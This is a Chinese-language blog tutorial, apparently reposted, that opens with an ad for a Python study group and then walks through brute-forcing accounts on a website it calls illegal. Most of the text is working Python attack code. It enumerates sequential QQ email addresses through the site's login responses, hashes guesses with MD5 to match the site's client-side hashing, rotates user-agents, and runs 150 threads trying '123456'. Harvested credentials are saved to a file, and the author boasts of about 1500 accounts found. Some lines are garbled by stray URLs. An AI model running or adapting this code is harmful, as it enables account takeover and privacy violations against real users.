首先申明，該文章只可以用于交流學習，不可以用于其他用途，否則后果自負，
很多人學習python，不知道從何學起，
很多人學習python，掌握了基本語法過后，不知道在哪里尋找案例上手，
很多已經做案例的人，卻不知道如何去學習更加高深的知識，
那么針對這三類人，我給大家提供一個好的學習平臺，免費領取視頻教程，電子書籍，以及課程的源代碼！
QQ群：961562169
現在國家對網路安全的管理，越來越嚴，但是還是有一些不法網站逍遙法外，受限于國內的人力、物力，無法對這些網站進行取締，
今天演示的這個網站，就是屬于非法的網站，
首先看登陸界面，
抓取登陸資訊，
使用Post Form表單的形式，進行用戶名和密碼的提交，接下來我們看提交的用戶名和密碼，
我輸入的密碼和用戶名一致，說明該站對提交的密碼進行了處理，等一會我來看，密碼是怎么處理的，現在我們看服務器的回傳資訊，
服務器回傳的是JSON，到這一步，我們就差密碼了，只要知道密碼是怎么生成的，就能加速對用戶密碼的破解了，
查看網站的腳本，發現密碼是先在本地做MD5處理之后，才發送到服務器的，
到了這一步，我們也就初步知道如何對該網站進行暴力破解了，
由于現在的人們在進行網站注冊的時候，都是使用QQ郵箱進行注冊的，因此我們可以先構建一個QQ郵箱，先判斷蓋郵箱存不存在，然后我們在判斷密碼正不正確，
現在我們的思路理清楚了，接下來直接上干貨，
user_num_low = 111111111
user_num_max = 9999999999
user_nbr = user_num_low
mutex=Lock()
#構造用戶郵箱
def get_user_nbr():
mutex.acquire(3)
global user_nbr
user_name = '%s%s' % (str(user_nbr), '@qq.com')
user_nbr = user_nbr + 1
mutex.release()
return user_name
def user_end_judge():
mutex.acquire(3)
result = False
if user_nbr > user_num_max :
result = True
else:
result = False
mutex.release()
return result
def get_curr_user():
mutex.acquire(3)
global user_nbr
user_name = '%s%s' % (str(user_nbr), '@qq.com')
mutex.release()
return user_name
構造用于判斷密碼郵箱是否存在
user_agent = [
'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30',
'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)',
'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
]
def save_pwd(user, pwd,desc):
with open("resut.txt","a+") as f:
f.write('user:'+ user + ' pwd:' + pwd + " desc:" + desc + '\n')
def user_test(username,password):
resp = ""
result = ""
url = "http://www.k*.htm"
pwd = password
user= username
md = hashlib.md5()
md.update(pwd)
password = md.hexdigest()
data = https://www.cnblogs.com/41280a/p/{'email':username,'password':password}
# 設定網頁編碼格式，解碼獲取到的中文字符
encoding = "gb18030"
# 構造http請求頭，設定user-agent
header = {
"User-Agent": random.choice(user_agent),
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With':'XMLHttpRequest'
}
try:
requests.adapters.DEFAULT_RETRIES = 5
resp = requests.post(url, data=https://www.cnblogs.com/41280a/p/data, headers=header, timeout=335)
except requests.exceptions.ReadTimeout:
print("1")
time.sleep(10)
resp = requests.post(url, data=https://www.cnblogs.com/41280a/p/data, headers=header, timeout=335)
except requests.exceptions.Timeout:
print("2")
time.sleep(10)
resp = requests.post(url, data=https://www.cnblogs.com/41280a/p/data, headers=header, timeout=335)
except requests.exceptions.ConnectionError:
print("3")
time.sleep(10)
resp = requests.post(url, data=https://www.cnblogs.com/41280a/p/data, headers=header, timeout=335)
except socket.error:
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
except BaseException as e:
print(e)
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
resp.keep_alive = False
#print(resp.content)
try:
result = resp.content
json = resp.json()
print('郵箱:%s ,result:%s \n ' % (username,result))
if (json['message'].find('不存在') > -1):
#print('郵箱:%s 為空' % username )
return False
else:
print('郵箱: %s 存在' % username)
save_pwd(username, password, json['message'])
return True
except BaseException as e:
print("發送錯誤 e: %s result:%s response code:%d" % (e, result, resp.status_code ))
好了，我們獲取到郵箱之后，就是要判斷密碼是否正確了，由于大部分人網站登陸，還是使用弱密碼，我們可以到網上找一下相關的字典庫，就可以直接破解了，
判斷密碼是否正確，我們只需要在判斷郵箱存在之后，再加一個判斷即可，
if(json['message'].find('錯誤') > -1):
print("郵箱： %s 密碼： %s ,密碼錯誤！" % (username,pwd))
return False
else:
print('郵箱: %s 密碼： %s ，登陸成功！' % (username, pwd))
由于用戶和密碼驗證較多，單一執行緒作業需要較長的時間，因此我們需要用上多執行緒，縮短密碼破解時間，
def thread_bru(): # 破解子執行緒函式
#while not user_end_judge():pwd_queue.empty()
while not user_end_judge():
try:
pwd = ‘123456’
user = get_user_nbr（）
#print pwd_test
#if user_test(user, pwd_test):
if user_test(user, pwd):
result = pwd
print ('破解 %s 成功，密碼為: %s' % (user, pwd))
break
except BaseException as e:
print("破解子執行緒錯誤: %s" % e)
def brute(threads):
for i in range(threads):
t = threading.Thread(target=thread_bru)
t.start()
print('破解執行緒-->%s 啟動' % t.ident)
while (not user_end_judge()): # 剩余口令集判斷
print('\r 進度: 當前值 %d' % pwd_queue.qsize())
time.sleep(2)
#print('\n破解完畢')
if __name__ == "__main__":
brute(150)
好了，初步撰寫完成，我們先刷完一部電影過來看看最終結果吧，
居然測驗成功1500左右的郵箱，還有很多許多人是用非常簡單的密碼的，
轉載請註明出處，本文鏈接：https://www.uj5u.com/houduan/119916.html
標籤：Python